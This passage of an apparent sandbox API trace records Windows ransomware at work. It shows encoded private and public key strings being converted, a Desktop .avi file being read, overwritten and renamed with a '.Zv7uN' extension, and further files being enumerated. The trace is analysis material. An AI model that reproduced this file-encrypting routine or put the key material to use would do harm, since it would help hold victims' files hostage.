kS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.588] GetCurrentThreadId () returned 0xa30 [0126.588] GetCurrentThreadId () returned 0xa30 [0126.588] GetCurrentThreadId () returned 0xa30 [0126.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.589] GetCurrentThreadId () returned 0xa30 [0126.589] GetCurrentThreadId () returned 0xa30 [0126.589] GetCurrentThreadId () returned 0xa30 [0126.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.589] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.589] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.589] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x159c0 [0126.589] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.590] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x159c0, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x159c0, lpOverlapped=0x0) returned 1 [0126.593] CloseHandle (hObject=0x120) returned 1 [0126.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.598] WriteFile (in: hFile=0x120, lpBuffer=0x1f0efa0*, nNumberOfBytesToWrite=0x159c0, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0efa0*, lpNumberOfBytesWritten=0x18f978*=0x159c0, lpOverlapped=0x0) returned 1 [0126.603] CloseHandle (hObject=0x120) returned 1 [0126.604] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi.zv7un")) returned 1 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.607] GetCurrentThreadId () returned 0xa30 [0126.608] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x13ac3cb0, ftLastAccessTime.dwHighDateTime=0x1d5de5c, ftLastWriteTime.dwLowDateTime=0x13ac3cb0, ftLastWriteTime.dwHighDateTime=0x1d5de5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="7vWXs5wOoyRqHSZ3", cAlternateFileName="7VWXS5~1")) returned 1 [0126.608] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c1d400, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xf343eab0, ftLastAccessTime.dwHighDateTime=0x1d5e08e, ftLastWriteTime.dwLowDateTime=0xf343eab0, ftLastWriteTime.dwHighDateTime=0x1d5e08e, nFileSizeHigh=0x0, nFileSizeLow=0x15383, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="8-_As94muf_-U.m4a", cAlternateFileName="8-_AS9~1.M4A")) returned 1 [0126.608] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.608] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c1d400, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xf343eab0, ftLastAccessTime.dwHighDateTime=0x1d5e08e, ftLastWriteTime.dwLowDateTime=0xf343eab0, ftLastWriteTime.dwHighDateTime=0x1d5e08e, nFileSizeHigh=0x0, nFileSizeLow=0x15383)) returned 1 [0126.608] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a")) returned 0x20 [0126.608] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a", dwFileAttributes=0x80) returned 1 [0126.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6L